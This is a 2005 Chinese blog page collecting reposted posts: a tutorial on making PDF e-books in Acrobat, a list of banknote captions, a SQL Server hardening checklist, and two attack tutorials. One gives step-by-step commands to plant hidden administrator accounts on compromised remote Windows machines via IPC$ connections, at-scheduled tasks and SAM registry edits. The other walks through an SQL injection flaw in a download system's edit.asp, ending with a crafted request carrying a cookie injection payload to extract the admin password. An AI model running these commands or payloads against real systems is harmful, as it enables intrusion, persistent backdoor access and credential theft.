            首先在Word97/2000中打開要創建成PDF文檔的文件(任何格式均可,只要Word可以打開),然后從“文件”菜單中選擇“打印”命令,請不要選擇工具欄的打印圖標,因為這種方式無法改變打印機的名稱,除非你已經在“打印機設置”中將AcrobatPDFWriter設置為缺省打印機。
            待出現“打印”對話框后,從“打印機名稱”下拉列表框中選擇“AcrobatPDFWriter”,輸入頁碼范圍,然后單擊“打印”或“確定”按鈕即可(如圖1所示),接著會出現一個如圖2所示的“另存為”對話框,我們可以在這里為PDF文件輸入一個文件名和保存路徑,從圖2中可以看到其下有“EditDocumentinfo”(編輯文檔信息)和“ViewPDFFile”兩個選項,前者可以打開如圖3所示的“AcrobatPDFWriterDocumentInformation”對話框,你可以在這里輸入標題、作者、關鍵詞等信息,后者可以自動在Acrobat中打開新的PDF文件。
            一切設置完成后,點擊“保存”按鈕,AcrobatPDFWriter就會在后臺對文檔進行轉換,轉換的時間視文檔大小和內容而定,如果只是一些文本信息,那么轉換的速度應該是很快的。現在,你就可以運行AdobeAcrobatReader或AdobeAcrobat程序,打開剛才創建的PDF文件,如圖4所示,令狐大俠的形象就在你的眼前了。
            3.使用CreateAdobePDF命令創建PDF文檔從“文件→CreateAdobePDF”菜單下可以看到一共有Print和Preferences兩個命令,如圖5所示,首先最好選擇“CreateAdobePDF→Preferences”命令,打開“AdobePDFMakerPreferences”對話框,對有關的選項進行一些設置,因為在轉換過程中PDFMaker將會把Word文件中的一些信息和結構對應轉換為PDF文件的信息和結構,如Word中的頭部將被轉換為PDF文件的書簽,Word中的URL將被轉換為PDF的網頁鏈接,Word中的交叉參照將被轉換為PDF的內部鏈接,Word中的文件屬性將被轉換為PDF的文件信息等等。
            接下來,只要使用“CreateAdobePDF→Print”命令就可以將文檔轉換為PDF格式。
            AcrobatDistiller是一個將Postscript文件轉換為PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文檔可以保留源文件中全部內容,包括其中的格式和圖形,而且與PDFWriter相比,它可以更精確地控制轉換過程。
            不過,為了使Distiller能夠創建PDF文檔,系統中必須安裝一個PostScript打印機驅動程序和一個DistillerPostScript打印機說明(即PPD文件),Acrobat缺省安裝包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驅動程序。
            使用Distiller創建PDF文檔有3種方式進行:
            ⑴直接拖放文件只要找到相應文件,然后將文件圖標直接拖放到Distiller圖標或Acrobat窗口的標題欄上。
            ⑵將Acrobat中打開的文件另存在AdobeAcrobat程序中,從“File”菜單中選擇“Open”命令,在“打開”對話框中的“文件類型”下拉列表框中選擇“AllFiles(.)”,然后找到欲轉換為PDF的文件,單擊“打開”按鈕,最后將它另存為一個新的PDF格式的文件就可以了。
            ⑶通過“打印”命令創建其實這一種方式與前面談到的使用PDFWriter創建PDF文檔的方法差不多,只不過這次是從“打印機名稱”下拉列表框中選擇“AcrobatDistiller”而已(如圖6所示),其它的沒有什么區別。
            由于AdobeAcrobat的圖形編輯、處理能力等并不是很出色,筆者建議最好先使用其它軟件完成文字輸入、圖片的處理、整體排版等工作,這樣可以省去很多功夫。
            三、對PDF文檔進行美化如果你只是想自己學會制作PDF格式的電子圖書,那么上面提到的4種方法都可以達到目的。不過,為了讓這本自主版權《笑傲江湖》電子圖書閱讀起來更為方便(同時也是為了提升它的檔次),那么請繼續隨我來吧:
            1.設置合適的頁面大小打開《笑傲江湖》電子文檔,選擇單頁布局方式,然后切換到第一頁,雙擊工具欄上的裁剪工具,或者從“Document”菜單中執行“CropPages”命令,將會看到的“CropPages”對話框,在這里你可以調整文檔中一頁或所有頁面的頁邊距。
            在Top、Left、Right、Bottom列表框(圖7)中可以對上、左、右、下頁邊距進行精確的調整,選擇“All”可以將頁邊距應用到整個文檔,選擇“Fromto”則是將頁邊距應用到指定頁面。在“Crop”下拉列表框中還可以選擇所有頁面、偶數和奇數頁面、僅奇數頁面、僅偶數頁面等選項。裁剪工具并不減小文件的大小,不過這一操作無法撤銷,因此在執行前請仔細檢查。
            2.插入遺漏章節有時候,你可能在制作完成后,才忽然發覺漏掉其中的某一章節,這可怎么辦,總不成全部重來吧?當然不需要,AdobeAcrobat可以很輕松完成這一切。
            首先,打開已完成部分的《笑傲江湖》電子文檔,然后從“Document”菜單中執行“InsertPages”命令,選擇準備添加的源文檔,選擇好后會彈出一個對話框詢問源文檔的插入位置(圖8),可以從“Location”下拉列表框中選擇Before、After,確定文檔的插入位置可以規定源文檔是插在第一頁、最后一頁、輸入的頁碼之前或之后等,一切選擇好后,點擊“確定”按鈕就可以完成添加工作,假如還有其它章節需要插入,可以按照剛才的方法繼續添加。當然,更為簡單的方法是從資源管理器直接將欲合并的PDF文檔拖放至已打開的主文檔區,以后的步驟完全一致。
            3.設置文本屬性使用“TouchUpTexttool”工具選擇所需的文字,然后選擇快捷命令“Properties”,在如圖9所示的對話框中設置文本的字體、大小、顏色等屬性,不過這里要提醒的是盡量使用系統默認的宋體,以便減少字體尺寸,如果你無法確認使用的字體在對方的系統中是否安裝,可以勾選“Embed”嵌入,不過這樣做會使PDF文檔變得非常大,一般情況下不推薦如此做。
            4.創建書簽書簽提供了直觀目錄,通常代表文檔中的章節和其它組織項目,這樣會使讀者的閱讀輕松不少。
            在導航欄中點擊“Bookmarks”圖標,再點擊“Bookmars”右下角的小箭頭,選擇“NewsBookmark”命令,輸入書簽名字如“第一章《滅門》”,按回車鍵確定,然后右擊該書簽,選擇“Properties”命令,在如圖10所示的“BookmarkProperties”對話框中進行有關項目的設置,如在“Action”的“Type”下拉列表框中選擇“GotoView”,然后在對話框外切換到所需要的頁面,并調整好顯示比例,最后點擊“SetAction”按鈕完成。其它如第二章《聆秘》、第三章《救難》等書簽可按照同樣的方法制作,最后制作好的標簽如圖11所示。
            5.制作MouseOver按鈕如果你的AdobeAcrobat是完全版本的話,那么就可以利用Form工具來控制頁面的觸發事件,例如在頁面打開時播放一段你喜歡的MP3音樂,或者通過具有MouseOver效果鏈接的圖標來打開一個特定的文件、電影片段等,這樣在閱讀時除了視覺的享受之外還可以聽到美妙的音樂呢!
            下面就以制作帶有OnMouse效果的跳轉頁面按鈕為例介紹:
            單擊左側工具欄中的“FormTool”工具,這時光標將變成一個十字形的圖標,利用它在頁面上拖出一個區域,你馬上就可以看到如圖12所示的“FieldProperties”對話框:
            Name:為這個表單起一個唯一的名字Type:這是一個下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七種類型,這里當然選擇“Button(按鈕)”啦。
            ShortDescription:在這里可以輸入一些簡單的說明文字,方便以后的查找。
            發下是六個標簽頁,點擊后可以進行不同的設置。
            Appearance:在“Border”區,我們可以定義按鈕邊框、背景顏色、寬度和邊框的類型;在“Text”區,可以定義文字的顏色、字體、大小;在“CommonProperties”區可以定義注釋的類型和邊框可見方式。
            Options:在“Aligment”下拉列表框中,你可以選擇觸發事件時是使用鼠標的左鍵、中鍵、右鍵,系統缺省是使用左鍵。
            Actions:定義詳細的觸發事件,在左邊的“Whenthishappens”框中,建議選擇“MouseUp”,右邊則是定義當事件觸發時,發生什么事件,點擊“Add”按鈕可以在圖中看到一共有13種選項可供選擇,如果你想產生切換頁面的效果,可以選擇JavaScript項。
            Format、Validate、Calculate等標簽頁并無多大實用意義,可以取默認值,這里就不多介紹了。
            完成所有設置后,點擊“確定”按鈕,一個“MouseOver”樣式的按鈕就制作完成,如果你愿意,還可以在“Action”中加入聲音、動畫等。
            6.給PDF文檔加印章你也可像在一個紙張文檔上使用橡皮印章一樣,用Acrobat來給你的文檔蓋上一個印章。下面你將給文章的封面加蓋一個印章。
            (1)在頁面框上移動指針直到它變為一個I字光標,然后雙擊突出的當前頁碼。
            (2)在批注工具上按住鼠標按鈕以顯示一套隱藏工具,拖動并選取印章工具。(如圖13)
            (3)單擊頁面的左上角。默認時,出現“批準”印章。
            你可從Acrobat印章庫中選擇另一個不同的印章。
            (4)選擇“編輯”→“屬性”。
            (5)從“分類”菜單中選取“標準”,從對話框左面窗口的列表中選擇“草稿”,并單擊“確定”。
            (6)選擇手形工具,在文檔窗口內單擊以取消選取的印章。
            除了從Acrobat印章庫使用印章外,你可創建你自己定義的印章,并以批注方式來使用它們。
            (7)選擇“文件”→“保存”以保存該文件。
            7.文檔加密設置如果你不希望別人對你制作的PDF電子書做修改或者其他一些損害你利益的事情,建議你對文檔進行加密設置。加密設置具體如下:
            單擊Acrobat菜單“File”→“DocumentSecurity”選項,在彈出的對話框中的“SecurityOptions”下拉菜單中選擇“AcrobatStandardSecurity”選項,彈出對話框(圖14):
            如果希望用戶需要密碼才能閱讀,請選擇“PasswordRequiredtoOpenDocument”(并輸入用戶打開文檔時需要的密碼)。
            建議選擇“PasswordRequiredtoChangePermissionsandPasswords”選項,即只有制作者才可以修改文檔信息及文檔安全性密碼。
            在“EncryptionLevel”(加密級別)中可以選擇使用的加密級別:包括40-bit和128-bit兩種方式,其中128-bit只能針對5.0版本,所以建議選擇40-bit即可,以確保文檔的向下兼容。
            我們這里還選擇了“NoChangingtheDocument”,即不允許用戶修改文檔中的任何部分。如果需要禁止用戶打印和復制文檔中的文字和圖片還可以勾選“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”選項。如果不允許用戶加入或者改變注釋、表格域可以勾選“NoAddingorChangingCommentsandFormFields”選項。
            設置完所有設置以后,點擊OK關掉對話框即可。
            總的來說,AdobeAcrobat是一款功能極其強大的電子文檔制作工具,除了制作、閱讀PDF文檔以外,你還可以使用AdobeAcrobat實現在PDF文檔中加入JavaScript腳本、將PDF文檔作為電子郵件的郵件發送出去、在網頁中使用PDF文檔、添加電影和聲音剪輯文件、編輯PDF頁面中的圖形/圖像對象、圖文演示等功能,不過由于篇幅所限,在這里就不多作介紹了。

          posted @ 2005-07-09 13:24 一天一點愛戀 閱讀(1503) | 評論 (0)編輯 收藏
           

          一、人民幣


          二、英鎊


          三、哈薩克斯坦里格


          四、泰國銖


          五、歐元


          六、緬甸元


          七、南非蘭特


          八、馬爾代夫拉菲亞


          九、斯里蘭卡盧比


          十、塔吉克斯坦索莫尼


          十一、挪威克郎


          十二、越南盾


          十三、圭亞那元


          十四、哥倫比亞比索


          十五、美元(背面)


          十六、加拿大元


          十七、印度尼西亞盧比(盾)


          十八、巴布亞新幾內亞基


          十九、俄羅斯盧布


          二十、印度盧比


          二十一、中國臺灣元


          二十二、中國澳門元


          二十四、中國香港元


          二十五、德國馬克


          二十六、美元(正面)


          二十七、意大利里拉


          二十八、愛爾蘭鎊


          二十九、澳大利亞元


          三十、法國法郎


          三十一、沙特阿拉伯里亞爾


          三十二、西班牙比塞塔


          三十三、圣馬力諾意大利里拉



          三十四、圣多美和普林西比多布拉


          三十五、葡萄牙埃斯庫多


          三十六、羅馬尼亞列伊


          三十七、瑞士法郎


          三十八、蒙古圖格里克


          三十九、荷蘭盾


          四十、日本元


          四十一、韓國元


          四十二、蘇里南盾



          四十三、土耳其里拉(大家數數有幾個零)!!


          四十四、新加坡元



          四十五.阿爾巴比亞 列克


          四十六.阿爾及利亞 第納爾


          四十七.阿富汗 尼


          四十八.阿根廷 比索


          四十九.阿拉伯聯合酋長國 迪拉姆


          五十.阿曼 里亞爾

           

          posted @ 2005-07-08 14:08 一天一點愛戀 閱讀(163) | 評論 (0)編輯 收藏
           
          在這里將用at的命令,因為用at產生的計劃任務是以系統身份運行的,所以也用不到psu.exe程序。為了能夠使用at命令,肉雞必須開

          有schedule的服務,如果沒有開啟,可用流光里帶的工具netsvc.exe或sc.exe來遠程啟動,當然其方法也可以,只要能啟動schedule服

          務就行。

          對于命令行方式,你可以采用各種連接方式,如用SQLexec連接MSSQL的1433端口,也可以用telnet服務,只要以你能得到一個cmdshell

          ,并且有運行at命令的權限就可以。

          1、首先找到一臺肉雞,至于如何來找那不是我這里所說的話題。這里先假設找到一臺超級用戶為administrator,密碼為12345678的肉

          雞,現在我們開始在命令行下遠程為它建立隱藏的超級用戶。(例子中的主機是我的局域網內的一臺主機,我將它的ip地址改為

          13.50.97.238,,請勿在互聯網上對號入座,以免騷擾正常的ip地址。)

          2、先與肉雞建立連接,命令為: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator

          3、用at命令在肉雞上建立一個用戶(如果at服務沒有啟動,可用小榕的netsvc.exe或sc.exe來遠程啟動):at \\13.50.97.238 12:51

          c:\winnt\system32\net.exe user hacker$ 1234 /add

          建立這個加有$符的用戶名,是因為加有$符后,命令行下用net user將不顯示這個用戶,但在帳戶管理器卻能看到這個用戶。

          4、同樣用at命令導出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下鍵值:at \\13.50.97.238 12:55

          c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\

          /e 是regedit.exe的參數,在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\這個鍵的一定要以\結尾。必要的情況下可以用引

          號將"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起來。

          5、將肉雞上的hacker.reg下載到本機上用記事本打開進行編輯命令為:copy \\13.50.97.238\admin$\system32\hacker.reg

          c:\hacker.reg

          修改的方法圖形界中已經介紹過了,這里就不作介紹了。

          6、再將編輯好的hacker.reg拷回肉雞上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg

          7、查看肉雞時間:net time \\13.50.97.238 然后用at命令將用戶hacker$刪除:

          at \\13.50.97.238 13:40 net user hacker$ /del

          8、驗證hacker$是否刪除:用

          net use \\13.50.97.238 /del 斷開與肉雞的連接。

          net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帳戶hacker$與肉雞連接,不能連接說明已刪除。

          9、再與肉雞建立連接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator"

          再取得肉雞時間,用at命令將拷回肉雞的hacker1.reg導入肉雞注冊表:

          at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg

          regedit.exe的參數/s是指安靜模式。

          10、再驗證hacker$是否已建立,方法同上面驗證hacker$是否被刪除一樣。

          11、再驗證用戶hacker$是否有讀、寫、刪的權限,如果不放心,你還可驗證是否能建立其它帳戶。

          12、通過11可以斷定用戶hacker$具有超級用戶權限,因為最初我用at命令建立它的時候是一個普通用戶,而現在卻具有遠

          程讀、寫、刪的權限。

          三、如果肉雞沒有開3389終端服務,而我又不想用命令行,怎么辦?

          這種情況下,你也可以用界面方式來遠程為肉雞建立隱藏的超級用戶。因為regedit.exe、regedt32.exe都有連接網絡注冊表的功能,

          你可以用regedt32.exe來為遠程主機的注冊表項設置權限,用regedit.exe來編輯遠程注冊表。帳戶管理器也有一項連另一臺計算機的

          功能,你可以用帳戶管理器為遠程主機建立和刪除帳戶。具體步聚與上面介紹的相似,我就不多說了,只它的速度實在是令人難以忍受



          但是這里有兩個前提:1、先用net use \\肉雞ip\ipc$ "密碼" /user:"超級用戶名"來與遠程主機建立連接以后,才能用regedit.exe

          regedt32.exe及帳戶管理器與遠程主機連接。

          2、遠程主機必須開啟遠程注冊表服務(沒有開啟的話,你也可以遠程開啟,因為你有超級用戶的密碼了)。

          四、利用被禁用的帳戶建立隱藏的超級用戶:

          我們可以用肉雞上被禁止的用戶來建立隱藏的超組用戶.方法如下:

          1.想辦法查看有哪些用戶被細心的管理員禁止,一般情況下,有些管理員出于安全考慮,通常會將guest禁用,當然了會禁用其它用戶

          。在圖形界面下,非常容易,只要在帳戶管理器中就可以看到被禁用的帳戶上有一個紅叉;而在命令行下,我還沒有想到好的辦法,只

          能在命令行下用命令:"net user 用戶名"一個一個來查看用戶是否被禁用。

          2.在這里,我們假設用戶hacker被管理員禁用。首先,我先用小榕的超組用戶克隆程序CA.exe,將被禁用的用戶hacker 克隆成超級用

          戶(克隆之后,被禁用的用戶hacker就會自動被激活了): CA.EXE \\肉雞ip administrator 超級用戶密碼 hacher hacher密碼。

          3.如果你現在一個cmdshell,如利用telnet服務或SQLEXEC連接肉雞的msSQL的默認端口1433得到的shell都可以,這時你只要輸入命令



          net user hacker /active:no 這樣用戶hacker就被禁用了(至少表面上是這樣的),當然你也可以將用戶hacher換成其它的被禁用的

          用戶。

          4.這時如果你在圖形界面下看帳戶管理器中的用戶時,會發現用戶hacker被禁用了,但事實上是這樣的嗎?你用這個被禁用的用戶連接

          一下肉雞看看是否能連上?用命令:net user \\肉雞ip\ipc$ "hacker密碼" /user:"hacker" 連一連看看。我可以告訴大家,經過我

          多次試驗,次次都能成功,而且還是超級用戶權限。

          5.如果沒有cmdshell怎么辦?你可以我上面介紹的at命令來禁用用戶hacker;命令格式:at \\肉雞ip 時間 net user hacker

          /active:no

          6.原理:具體的高深的原理我也說不上來,我只能從最簡單的說。你先在圖形界面下在帳戶管理器中禁用一下超級用戶administrator

          看看,肯定會彈出一對話框,并禁止你繼續禁用超級用戶administrator,同樣,因為在克隆時,hacker在注冊表的"F"鍵被超級用戶

          administrator在注冊表的"F"鍵所替代,因而hacker就具有了超級用戶的權限了,但是由于hacker在注冊表內"C"健還是原來的"C"鍵,

          所以hacker還是會被禁用,但是它的超級用戶權限卻不會被禁用,因此被禁用的用戶hacker還是可以連接肉雞,而且還具有超級用戶的

          權限。具體我也說不明白,大家權且這么理解吧。

          五、注意的幾點事項:

          1、隱藏的超級用戶建立以后,在帳戶管理器中和命令行下均看不到這個用戶,但這個用戶卻存在。

          2、隱藏的超級用戶建立以后,就不能再修改密碼了,因為一旦修改密碼,這個隱藏的超級用戶就會暴露在帳戶管理器中,而且不能刪

          除。

          3、如在本機上試驗時,最好用系統自帶的備份工具先備份好本機的“系統狀態”主要是注冊表的備份,因為本人做試驗時,曾出現過

          帳戶管理器中看不到任何用戶,組中也看不到任何組的現象,但它們卻存在。幸好我有備份,呵呵。SAM鍵是畢竟系統最敏感的部位。

          4、本方法在2000/XP上測試通過,未在NT上測試。本方法僅供研究,請勿將本方法用于破壞上,利用本方法造成嚴重后果者,由使用者

          負責,本人概不負責。

          4、轉載時請保留作者信息,謝謝!

          李天東2002年12月23日完稿于東東網絡實驗室


          posted @ 2005-07-08 13:32 一天一點愛戀 閱讀(699) | 評論 (0)編輯 收藏
           
          轉貼自:http://www.sqlsecurity.com

          1. 確認已經安裝了NT/2000和SQL Server的最新補丁程序,不用說大家應該已經安裝好了,但是我覺得最好還是在這里提醒一下。

          2. 評估并且選擇一個考慮到最大的安全性但是同時又不影響功能的網絡協議。 多協議是明智的選擇, 但是它有時不能在異種的環境中使用。

          3. 給 "sa" 和 "probe" 帳戶設定強壯的密碼來加強其安全性。設定一個強壯的密碼并將其保存在一個安全的地方。 注意: probe帳戶被用來進行性能分析和分發傳輸。 當在標準的安全模態中用的時候 , 給這個帳戶設定高強度的密碼能影響某些功能的使用。

          4. 使用一個低特權用戶作為 SQL 服務器服務的查詢操作賬戶,不要用 LocalSystem 或sa。 這個帳戶應該有最小的權利 ( 注意作為一個服務運行的權利是必須的)和應該包含( 但不停止)在妥協的情況下對服務器的攻擊。 注意當使用企業管理器做以上設置時 , 文件,注冊表和使用者權利上的 ACLs同時被處理。

          5. 確定所有的 SQL 服務器數據,而且系統文件是裝置在 NTFS 分區,且appropraite ACLs 被應用。 如果萬一某人得到對系統的存取操作權限,該層權限可以阻止入侵者破壞數據,避免造成一場大災難。

          6.如果不使用Xp_cmdshell就關掉。 如果使用 SQL 6.5, 至少使用Server Options中的SQLExecutieCmdExec 賬戶操作限制非sa用戶使用XP_cmdshell.
          在任何的 isql/ osql 窗口中( 或查詢分析器):

          use master
          exec sp_dropextendedproc'xp_cmdshell'

          對 SQLExecutiveCmdExec 的詳細情況請查看下列文章:

          http://support.microsoft.com/support/kb/article/Q159/2/21.

          如果你不需要 xp_cmdshell 那請停用它。請記住一個系統系統管理員如果需要的話總是能把它增加回來。這也好也不好 - 一個侵入者可能發現它不在,只需要把他加回來。考慮也除去在下面的 dll但是移除之前必須測試因為有些dll同時被一些程序所用。 要找到其他的程序是否使用相同的 dll:

          首先得到該 dll 。

          select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name='xp_cmdshell'

          其次,使用相同的 dll發現其他的擴展儲存操作是否使用該dll。

          select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text='xplog70.dll'

          用戶可以用同樣的辦法處理下面步驟中其他你想去掉的進程。



          7. 如不需要就停用對象連接與嵌入自動化儲存程序 ( 警告 - 當這些儲存程序被停用的時候 , 一些企業管理器功能可能丟失). 這些包括:

          Sp_OACreate

          Sp_OADestroy

          Sp_OAGetErrorInfo

          Sp_OAGetProperty

          Sp_OAMethod

          Sp_OASetProperty

          Sp_OAStop

          如果你決定停用該進程那么請給他們寫一個腳本這樣在以后你用到他們的時候你能夠把他們重新添加回來 。 記住, 我們在這里正在做的是鎖定一個應用程序的功能 - 你的開發平臺應該放到其他機器上。



          8. 禁用你不需要的注冊表存取程序。(同上面的警告)這些包括:

          Xp_regaddmultistring

          Xp_regdeletekey

          Xp_regdeletevalue

          Xp_regenumvalues

          Xp_regremovemultistring

          注意 :我過去一直在這里列出 xp_regread/ xp_regwrite但是這些程序的移除影響一些主要功能包括日志和SP的安裝,所以他們的移除不被推薦。



          9.移除其他你認為會造成威脅的系統儲存進程。 這種進程是相當多的,而且他們也會浪費一些cpu時間。 小心不要首先在一個配置好的服務器上這樣做。首先在開發的機器上測試,確認這樣不會影響到任何的系統功能。在下面是我們所推薦的有待你評估的一些列表:

          sp_sdidebug
          xp_availablemedia
          xp_cmdshell
          xp_deletemail
          xp_dirtree
          xp_dropwebtask
          xp_dsninfo
          xp_enumdsn
          xp_enumerrorlogs
          xp_enumgroups
          xp_enumqueuedtasks
          xp_eventlog
          xp_findnextmsg
          xp_fixeddrives
          xp_getfiledetails
          xp_getnetname
          xp_grantlogin
          xp_logevent
          xp_loginconfig
          xp_logininfo
          xp_makewebtask
          xp_msver xp_perfend
          xp_perfmonitor
          xp_perfsample
          xp_perfstart
          xp_readerrorlog
          xp_readmail
          xp_revokelogin
          xp_runwebtask
          xp_schedulersignal
          xp_sendmail
          xp_servicecontrol
          xp_snmp_getstate
          xp_snmp_raisetrap
          xp_sprintf
          xp_sqlinventory
          xp_sqlregister
          xp_sqltrace
          xp_sscanf
          xp_startmail
          xp_stopmail
          xp_subdirs
          xp_unc_to_drive
          xp_dirtree




          10. 在企業管理器中"安全選項" 之下禁用默認登錄。(只有SQL 6.5) 當使用整合的安全時候,這使未經認可的不在 syslogins 表中使用者無權登陸一個有效的數據庫服務器。
          11. 除去數據庫的guest賬戶把未經認可的使用者據之在外。 例外情況是master和 tempdb 數據庫,因為對他們guest帳戶是必需的。
          12. 若非必須,請完全地禁用SQL郵件功能。它的存在使潛在的攻擊者遞送潛在的 trojans ,病毒或是簡單實現一個DOS攻擊成為可能

          13. 檢查master..Sp_helpstartup看有無可疑的木馬進程。 確定沒有人已經在這里放置秘密的后門程序。 使用 Sp_unmakestartup 移除任何可疑進程。

          14. 檢查master..Sp_password看有無trojan代碼。比較你的產品scripts和一個新安裝的系統的默認scripts而且方便的保存。

          15. 記錄所有的用戶存取訪問情況。 從企業管理器做這些設定或通過以sa登陸進入查詢分析器的下列各項:
          xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\ Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel',REG_DWORD,3

          16. 重寫應用程序使用更多用戶定義的儲存和察看進程所以一般的對表的訪問可以被禁用。 在這里你也應該看到由于不必經常進行查詢計劃操作而帶來的性能提升。
          17. 除去不需要的網絡協議。
          18. 注意SQL 服務器的物理安全。把它鎖在固定的房間里,并且注意鑰匙的安全。只要有機會到服務器面前,就總是會找到一個方法進入。
          19. 建立一個計劃的任務運行:
          findstr/C:" Login Failed"\mssql7\log\*.*'

          然后再重定向輸出到一個文本文件或電子郵件,因此你監測失敗的登錄嘗試。這也為系統管理員提供一個好的記錄攻擊的方法。 也有很多用來分析NT日志事件的第三者工具。 注意: 你可能需要將路徑換成你安裝SQL的路徑。

          20. 設定非法訪問和登陸失敗日志警報。到 企業管理器中的"Manager SQL Server Messages "搜尋任何有關無權訪問的消息 ( 從查找"login failed"和"denied"開始). 確定你所有感興趣的信息被記錄到事件日志。然后在這些信息上設定警報 , 發送一個電子郵件或信息到一個能夠對問題及時響應的操作員。

          21. 確定在服務器和數據庫層次上的角色都只被授給了需要的用戶。 當 SQL Server 安全模型 7 有許多增強的時候, 它也增加額外的許可層,我們必須監控該層,確定沒有人被授予了超過必需的權限。

          22. 經常檢查組或角色全體會員并且確定用組分配權限,這樣你的審計工作能夠簡化。 確定當你在的時候 , 公眾的組不能從系統表執行選擇操作。
          23. 花些時間審計用空密碼登陸的請求。 使用下面的代碼進行空密碼檢查:
          使用主體
          選擇名字,
          password
          from syslogins
          where password is null
          order by name


          24. 如果可能,在你的組織中利用整合的安全策略。 通過使用整合的安全策略,你能夠依賴系統的安全,最大簡化管理工作從維護二個分開的安全模型中分離開來。這也不讓密碼接近連接字串。
          25. 檢查所有非sa用戶的存取進程和擴充存儲進程的權限。 使用下面的查詢定期的查詢哪一個進程有公眾存儲權限。(在SQL Server中 使用 "type" 而不是 "xtype"):
          Use master
          select sysobjects.name
          from sysobjects,sysprotects
          where sysprotects.uid=0
          AND xtype 在 ('X','P')
          AND sysobjects.id=sysprotects.id
          Order by name

          26. 當時用企業管理器的時候,使用整合的安全策略。 過去,企業管理器被發現在標準的安全模態中儲存 "sa" 密碼在注冊表的 plaintext 中。 注意: 即使你改變模態,密碼也會留在注冊表中。 使用 regedit 而且檢查鍵:
          HKEY_CURRENT_USER\SOFTWARE\Microsoft\
          MSSQLServer\SQLEW\ Regedi\
          SQL 6.5

          現在數據被隱藏在

          HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group

          ("SQL server組" 是默認值但是你可能已建立用戶組因此相應地改變其位置)

          27. 發展一個審核計劃而且訂定每月的安全報告,對IT主管可用的報表包括任何的新exploit,成功的攻擊 , 備份保護 , 和對象存取失敗統計。
          28. 不要允許使用者交互式登陸到 SQL Server之上。這個規則適用任何的服務器。 一旦一個使用者能夠交互式進入一個服務器之內,就有能用來獲得管理員的存取特權得到管理員權限。
          30. 盡力限制對SQL Server的查詢與存取操作。 用戶可以用最小權限查詢sql server中的很多東西。若非必須不要給他們機會
          posted @ 2005-07-08 13:20 一天一點愛戀 閱讀(160) | 評論 (0)編輯 收藏
           
          驚云下載系統edit.asp文件存在SQL注入漏洞,后臺存在任意文件上傳漏洞
          驚云下載系統以前有個漏洞好象在user.asp,不知現在修補沒有。本人這次和大家講件edit.asp文件的漏洞,一來發布一個
          漏洞,二教教大家如何發現和利用漏洞。我一行一行解釋。
          <%
          user=Request.cookies("JyDownUserName")
          '取得用戶COOKIE并存入USER變量

          if user<>"" then
          user=replace(user," ","+++ close")
          '給USER變量替換空格
          else
          response.write("<li>您沒有進入本頁面的權限,本次操作已被記錄!<br><li>如果你是本站會員請先<a href=login.asp target=_top>登陸</a>后進入.")
          response.end
          end if
          '上面判斷COOKIE是否為空,空則跳轉,等會我們構造COOKIE欺騙,讓JyDownUserName這個COOKIE值不為空,至于為多少,等會說。


          server_vv=len(Request.ServerVariables("SERVER_NAME"))
          server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)
          server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)
          if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then
          response.write("<script>alert('錯誤:禁止從站點外部提交數據!.')</script>")
          response.end
          end if
          '上面判斷網頁是否是從瀏覽器點擊而進入的,我們同樣可以偽造是這個地方為真,再此不再贅述
          %>


          <!--#include file="mdb_path_user.asp"-->
          <!--#include file="char.inc"-->
          <!--#include file="config.asp"-->
          '上面是頭文件包含,沒什么用,忽略就行了

          <%
          pwd=replace(request.form("pwd")," ","+++ close")
          set rs=server.CreateObject("ADODB.RecordSet")
          rs.open "select * from UserInfo where user='"&user&"'",conn,1,2
          '關鍵的一句注入點,因為user=replace(Request.cookies("JyDownUserName"),," ","+++ close"),很明顯沒有過濾單引號
          if rs.eof then
          JyDownMsg="錯誤:"&user&"用戶資料讀取錯誤,請重新登陸!"
          '注入條件判斷語句,沒有它都不能確定是否成功,返回此句代表失敗
          else
          if request("type")="save" then
          if pwd="" then
          JyDownMsg="錯誤:要修改資料必需填寫原密碼!"
          else
          if pwd<>rs("pwd") then
          JyDownMsg="錯誤:原密碼錯誤!"
          '注入條件判斷語句,沒有它都不能確定是否成功,返回此句代表成功,至于為什么我真得無法用語言表達了,還是自己想吧。這句以下已經沒有意義了。解釋至此
          else
          qm=htmlencode(request.form("qm"))
          if len(qm)>250 then
          JyDownMsg="錯誤:個性簽名多于250個字符!"
          else
          .........



          好了,已經知道注入的地方,而且知道成功的標志,同時知道表的結構(網上可以找到嘛),便可以利用了。
          到底如何利用呢?當然最好是搞定管理員的用戶和密碼拉。


          我用WSE抓包后,整理如下(以我自己的機器做實驗)

          POST /admin/edit.asp HTTP/1.1
          Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
          1 Referer: http://localhost/
          Accept-Language: zh-cn
          Content-Type: application/x-www-form-urlencoded
          Accept-Encoding: gzip, deflate
          User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
          Host: localhost
          Content-Length: 125
          Connection: Keep-Alive
          cache-Control: no-cache
          2 Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=aaaaaaaa'%09union%09select%09*%09from%09userinfo%09where%09id%3D1%09and%09len(pwd)%3D1%09and%09'1%3D1

